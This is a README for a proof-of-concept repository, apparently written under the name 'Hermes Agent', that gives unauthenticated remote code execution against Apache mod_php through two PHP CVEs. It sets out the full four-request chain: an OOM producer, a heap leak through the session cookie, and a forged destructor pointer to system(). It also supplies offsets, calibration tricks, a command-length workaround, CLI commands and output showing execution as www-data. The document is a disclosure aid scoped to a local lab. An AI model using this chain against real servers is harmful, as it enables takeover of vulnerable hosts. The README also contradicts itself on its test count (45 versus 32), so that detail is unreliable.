php2shell — PoC for CVE-2026-109618 + CVE-2026-109619

Unauthenticated remote code execution against Apache mod_php running a vulnerable PHP, using only HTTP multipart requests, with no application code required and no session_start() in the target page.

$ ./lab/up.sh
target: OK
$ python -m poc exploit
php2shell poc 0.1.0 | Hermes Agent | independent security research
[1/4] A1 oom            status=HTTP/1.0 500 Internal Server Error
[2/4] B1 leak           decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
[3/4] A2 oom            status=HTTP/1.0 500 Internal Server Error
[4/4] B2 forge          S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
      RCE OK; proof /…/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

__author__ Hermes Agent · __org__ independent security research · v0.1.0


Scope and authorisation

Local Docker lab only. Every connection goes to a container started by lab/up.sh on 127.0.0.1. This is a reproduction harness plus a staged verification of two published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not own or have written authorisation to test.

The vulnerabilities

CVE-2026-109618 CVE-2026-109619
Title RCE via OOM corruption RCE via stale global state
Fixed in 8.2.35, 8.3.36, 8.4.27, 8.5.12 same
Weakness OOM longjmp() abandons a request with request memory reachable but uninitialised; shutdown then reads/branches on it worker-retained globals point into a freed request heap; a later request consumes the stale value before RINIT resets it
Confirmed SAPI Apache mod_php (shutdown runs even when startup failed) mod_php; session-lifecycle path also validated on FPM per the advisory

Vendor advisories: GHSA-w8hw-w9fx-j79w, GHSA-6wmf-4rv5-p3rp. Version ranges above are read from NVD cpeMatch.versionEndExcluding, not from blog prose. Grounding notes, including every source URL and the raw mechanism text, are in NOTES.md.

What this PoC implements — and what it does not

Four primitives were published under these two CVEs. This PoC implements two of them plus the OOM producer:

Primitive Implemented
Upload-progress unserializer state (BG(unserialize)) → controlled corruption yes (A2/B2)
Remote process-memory disclosure via stale PS(id) in a PHPSESSID cookie yes (A1/B1)
OOM producer via multipart without a usable Content-Length yes (A1, A2)
EG(last_fatal_error_backtrace) UAF (PHP 8.5, needs fatal_error_backtraces) no
OPcache CG(map_ptr_last) cross-worker type confusion no

Not validated here: FPM, FrankenPHP, LSAPI. The advisory documents FPM as susceptible by source analysis with no complete exploit demonstrated; that remains true of this artifact.

Stage → CVE mapping

The vendor does not label which primitive belongs to which CVE. This mapping is analytical, not a citation:

Stage Role CVE
A1 — multipart OOM at END cleanup producer: leaves dangling PS(id) / PS(mod_data), send_cookie=1 109618
B1 — second request URL-encodes the stale PS(id) consumer: 800 KB memory disclosure 109619
A2 — cheap OOM over nested fields producer: leaves dangling PS(hash_serialize_verifier) 109618
B2 — fake zend_reference → fake zend_array consumer: zend_hash_destroy calls pDestructor = zif_system 109619

Requirements

  • Docker with a Linux engine, x86_64
  • Python 3.11+ (tested on 3.14.7 on Windows, stdlib only — no third-party packages)
  • No shell required: the CLI talks to the Docker CLI directly, so it behaves identically from PowerShell, cmd, git-bash, zsh, and bash. The lab/*.sh files are conveniences that wrap the same Python entry points.

Quickstart

Windows (PowerShell) and Linux/macOS are the same commands:

python -m poc lab            # bring the target up, check it, run the chain
cat out\p1                   # uid=33(www-data)
python -m poc lab
cat out/p1

Step by step, if you want to see each stage:

./lab/up.sh                  # or: python -m poc lab --up-only
python -m poc check          # version, ini, libphp hash, profile, worker count
python -m poc leak           # A1 + B1 only: the disclosure
python -m poc exploit        # A1 -> B1 -> A2 -> B2 -> proof file
python -m poc status         # container diagnostics
python -m poc lab --down     # or: ./lab/down.sh

One command does the whole flow:

python -m poc lab            # brings the container up, checks it, runs the chain

CLI

Command Purpose
poc lab bring the target up, then check, then exploit. --up-only stops after the check; --down removes the container; --image / --net override the target
poc check preflight: php version + vulnerable/patched verdict, nine ini values, libphp.so sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic.
poc status container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count
poc offsets --lib PATH derive zval_ptr_dtor, zif_system, zif_passthru from an ELF .symtab/.dynsym
poc leak A1 + B1 only: produce and classify the disclosure cookie (--save keeps the raw response)
poc exploit full chain; --dry-run forges and hashes all four bodies without touching the network; --retries N; --cmd; --proof
poc selftest offline: build all four bodies, check sizes and layout invariants

All commands accept --host --port --name --profile --workers --json. --workers N occupies N-1 prefork children so the four chain requests land on the same worker.

IMAGE, NAME, PORT, and NET environment variables are honoured by poc lab (so the shell wrappers keep the old IMAGE=… NAME=… ./lab/up.sh idiom working), and the equivalent flags (--image --name --port --net) are the portable form.

Status — what was verified, and how

Every row below is a command that was actually run in this environment, with its own artifact.

Stage Command Observed
Lab build identity python -m poc check PHP 8.4.26 NTS, libphp.so sha256 51663cf8…f4ee679c = profile; Apache 2.4.69; memory_limit=128M, post_max_size=8M, display_errors=Off, session.upload_progress.enabled=On; 1 worker
Symbol offsets python -m poc offsets --lib research/libphp.so zval_ptr_dtor=0x65eb60, zif_system=0x465370 — matches the profile
Offline suite python -m unittest discover -s tests -t . 45 tests, all pass, 0 skipped
Body parity tests/test_bodies_parity.py A1/A2/B1 SHA-256 identical to the reference generators (8e8fc166…, 7af66c8f…, b6c547e0…)
Stage 1–2 (disclosure) python -m poc leak A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; zval_ptr_dtor ×1095; libphp − main in range; main-chunk fingerprint count 87
Stage 3–4 (RCE) python -m poc exploit [4/4] … RCE OK, out/p1 contains uid=33(www-data) gid=33(www-data) groups=33(www-data); exit 0
Reproducibility 3 fresh containers, one run each 3/3 uid=33(www-data)
Windows shell independence python -m poc lab from PowerShell with a stock PATH where bash resolves to C:\Windows\System32\bash.exe (WSL) exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it
Specificity IMAGE=php:8.4.27-apache … then poc check / poc exploit check → 8.4.27 patched, NOT READY, exit 1; exploit → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and no proof file is created
Reference control unchanged reference chain against this lab same proof — confirms the lab build is the one the published offsets describe

The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not work on 8.4.27, so it is exercising the patched condition rather than a lab misconfiguration.

How it works

Four requests, all served by the same prefork child, in order. Each request is a multipart body built byte-for-byte by poc/bodies.py / poc/forge.py:

  1. A1 — chunked multipart with no Content-Length, so the post_max_size check is skipped; 860 depth-64 nested empty-file fields plus fillers burn the 128 MB memory_limit inside the multipart parser. The OOM bailout leaves PS(id) dangling with send_cookie=1.
  2. B1 — a second multipart request whose values re-fill the freed chunk with a forged zend_string header (len=0xC8000) at the address PS(id) still points to. Shutdown URL-encodes 800 KB of worker memory into the PHPSESSID response cookie. The window contains a repeating zval_ptr_dtor pointer (→ libphp base) and a 2 MiB-aligned chunk with exactly 87 pointers (→ main chunk base). A libphp − main range check discards bad leaks.
  3. A2 — 880 nested fields plus short fillers; a cheap OOM leaves PS(hash_serialize_verifier) pointing into the heap.
  4. B2 — a 384-byte spray of fake zend_reference values rewrites that pointer to a forged zend_array at main + 0xF8398 whose pDestructor is zif_system; request shutdown calls zend_hash_destroy on it and executes the command.

Calibration constants are not in the code paths — they live in poc/profiles.py, keyed by the target's libphp.so SHA-256.

Calibration model and caveats

  • Offsets are per-build. dtor_offset, zif_offset, s_delta, hsv_delta, main_bucket_count, and the delta window are valid only for the libphp.so whose SHA-256 keys the profile. poc check refuses to call the target ready when the hash has no profile.
  • The pointer window is canonical user space, not 0x7f. A published reference chain filters candidate pointers to ≥ 0x7F0000000000. On this host the container's mmap base lands at 0x73…/0x78…/0x7d…, so that filter discards the real leak and the chain fails with "no heap pointers". This PoC accepts 2^36 … 2^47−1 and instead gates candidate destructor anchors on page alignment of the derived base plus a quorum. That gate is load-bearing: the window's most common in-range qword is a zend_string header (0x1600000001, 1282×), which outnumbers zval_ptr_dtor (1095×) and would win a naive "most common" pick.
  • Re-leak, don't re-forge. A bad base recovery means the A1/B1 pair is redone, never A2/B2: the worker's addresses are already poisoned once A2 runs.
  • Command length is capped at 200 bytes by the 384-byte carrier (0x160 − 0x98). For longer payloads, write a script into the mounted out/ directory and run sh</out/c.

Repository layout

lab/      docker target (rootfs files + thin shims that call the Python entry points)
poc/      profiles · elf · wire · bodies · forge · leak · lab · cli
tests/    32 unit tests; golden body hashes live in tests/golden/bodies.json
research/ reference clone (gitignored), captures, and the diagnostics used to calibrate

research/upstream/ is a read-only clone of the public reference chain, used once as a control test and to generate the golden body hashes. Nothing in poc/ imports it.

Attribution

Primitive discovery and public analysis: Wiz Research ("PHP2Shell"), the PHP security team (Jakub Zelenka), and the authors of the public reference chain used for control testing and golden-hash generation. This repository is an independent rebuild of those published primitives with a profile-driven calibration model, a staged verifier, and a patched-build negative control; the wire bodies are reimplemented and proven byte-identical rather than vendored.

S
Description
Unauthenticated RCE PoC for CVE-2026-109618 + CVE-2026-109619 (php2shell) against Apache mod_php. Profile-driven chain: OOM producer -> 800 KB cross-request heap disclosure -> pDestructor = system(). Verified on PHP 8.4.26, fails on 8.4.27.
Readme MIT
168 KiB
Languages
Python 100%